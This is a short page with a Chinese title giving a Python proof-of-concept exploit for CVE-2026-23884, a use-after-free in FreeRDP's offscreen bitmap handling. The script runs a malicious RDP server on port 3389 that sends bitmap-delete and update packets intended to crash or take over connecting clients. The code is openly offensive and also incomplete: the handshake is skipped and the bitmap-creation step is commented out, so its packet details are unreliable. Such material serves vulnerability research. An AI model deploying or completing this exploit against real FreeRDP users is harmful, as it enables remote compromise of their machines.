CVE-2026-23884 FreeRDP offscreen bitmap UAF远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-23884 PoC - FreeRDP offscreen bitmap UAF This PoC demonstrates the UAF vulnerability in FreeRDP < 3.21.0 Note: This is for educational and security research purposes only. """ import socket import struct import time def create_rdp_negotiation_request(): """Create RDP negotiation request packet""" # RDP negotiation message type msg_type = 0x01 # Negotiation Request flag = 0x00 length = 0x08 packet = struct.pack('<BBHI', flag, msg_type, length, 0x00000000) return packet def create_offscreen_delete_packet(bitmap_id): """Create packet to trigger offscreen bitmap deletion""" # This simulates sending a DeleteOffscreenBitmap order # which triggers the UAF condition in FreeRDP order_type = 0x2D # DeleteOffscreenBitmap order type # Bitmap ID to delete data = struct.pack('<BI', order_type, bitmap_id) return data def create_update_packet_with_drawing(): """Create update packet that will access freed gdi->drawing pointer""" # After bitmap deletion, gdi->drawing points to freed memory # Sending an update order will trigger UAF access update_type = 0x01 # TS_UPDATETYPE_BITMAP header = struct.pack('<BH', update_type, 0x0000) return header def rdp_server_poc(): """ Simulate malicious RDP server to trigger CVE-2026-23884 """ server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 3389)) server_socket.listen(5) print("[*] Malicious RDP server started on port 3389") print("[*] Waiting for FreeRDP client connection...") try: client_socket, addr = server_socket.accept() print(f"[+] Client connected from {addr}") # Step 1: Send negotiation client_socket.send(create_rdp_negotiation_request()) time.sleep(0.5) # Step 2: Establish RDP session # (Simplified - real implementation would complete full handshake) # Step 3: Create and send bitmap first print("[*] Creating offscreen bitmap...") # bitmap_create_packet = create_offscreen_create_packet(bitmap_id=1) # client_socket.send(bitmap_create_packet) # Step 4: Send delete packet to trigger UAF print("[*] Sending offscreen bitmap delete packet...") client_socket.send(create_offscreen_delete_packet(bitmap_id=1)) time.sleep(0.1) # Step 5: Send update packet to trigger UAF access print("[*] Sending update packet - this triggers UAF!") client_socket.send(create_update_packet_with_drawing()) print("[+] PoC packet sequence sent") print("[*] If vulnerable FreeRDP client, should trigger crash or RCE") time.sleep(2) except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() server_socket.close() if __name__ == "__main__": rdp_server_poc()